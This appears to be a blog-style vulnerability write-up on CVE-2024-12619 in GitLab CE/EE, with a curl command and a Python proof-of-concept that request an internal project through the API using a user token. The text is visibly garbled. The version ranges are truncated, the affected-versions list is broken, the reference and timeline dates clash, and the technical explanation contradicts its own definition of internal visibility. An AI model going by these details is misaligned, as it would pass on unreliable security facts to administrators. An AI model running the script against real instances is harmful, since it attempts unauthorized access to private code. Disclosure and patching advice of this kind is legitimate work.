Summary:
A critical security flaw, CVE-2024-12619, was recently found in GitLab Community and Enterprise Editions (GitLab CE/EE). This vulnerability, present in versions from 16. up to (but not including) 16.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1, lets internal users gain access to otherwise restricted internal projects. In this article, we break down how the bug works, why it’s dangerous, showcase a real-world exploit, and help you patch your systems now.

The Problem: When Privacy Breaks Down

In GitLab, projects marked as “internal” are supposed to be visible only to authenticated users of the GitLab instance, but not to anonymous outsiders or regular users with no specific access. CVE-2024-12619 lets *internal* users—those already registered within the environment—jump over restrictions and view/access internal projects they aren’t supposed to.

This could mean seeing confidential code, issues, wikis, or even sensitive company data.

Who’s Affected?

- GitLab CE/EE

17.10 _before_ 17.10.1

If you’re running one of these versions, you must update right now!

Official Advisory:
- About the vulnerability
- CVE Details

What Actually Happens? (Technical Explanation)

In the affected GitLab versions, a bug in the authorization logic doesn’t check permissions strictly enough for internal project access. This happens especially when users poke around with crafted API requests or web shortcuts.

The underlying issue is that the system considered someone being “internal” as good enough—even if they shouldn’t be able to see a particular “internal” project.

Example Exploit Flow

Suppose there’s an internal project called acme/secret-project on your GitLab instance. Alice shouldn’t be able to see it, but if she’s a regular authenticated user, she can:

`

https://gitlab.example.com/acme/secret-project

curl -s --header "PRIVATE-TOKEN: alice_token" \

https://gitlab.example.com/api/v4/projects/acme%2Fsecret-project

`

If the project is “internal,” Alice can see its name, description, contents, and even issues/wikis—despite not being a member or otherwise authorized.

Here’s a real-world example in Python using the requests library

import requests

# Replace with your GitLab instance and user info
GITLAB_URL = 'https://gitlab.example.com';
PRIVATE_TOKEN = 'alice_personal_token'
PROJECT_PATH = 'acme/secret-project'

api_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_PATH.replace('/', '%2F')}"

headers = {'PRIVATE-TOKEN': PRIVATE_TOKEN}
r = requests.get(api_url, headers=headers)

if r.status_code == 200:
    print("Access succeeded! Here's the project info:")
    print(r.json())
else:
    print("Access blocked or project does not exist.")

If the bug exists, alice gets project details, regardless of her permissions. Dangerous!

Possible social engineering attacks (by reading issues, wiki, or comments)

If your GitLab hosts research, corporate, legal, or secret projects marked only as “internal,” this is a direct hit to confidentiality.

References

- GitLab Security Release 2024-04-16
- NIST NVD Entry for CVE-2024-12619
- GitLab Documentation – Project Visibility

Conclusion

CVE-2024-12619 is a dangerous lapse in GitLab’s permission system that can expose internal projects to anyone with a user account. The most direct defense is to upgrade your GitLab right away and audit your “internal” project practices. Nothing beats a fast, informed response when your company’s code is at stake.

Timeline

Published on: 03/28/2025 10:15:15 UTC
Last modified on: 03/28/2025 18:11:40 UTC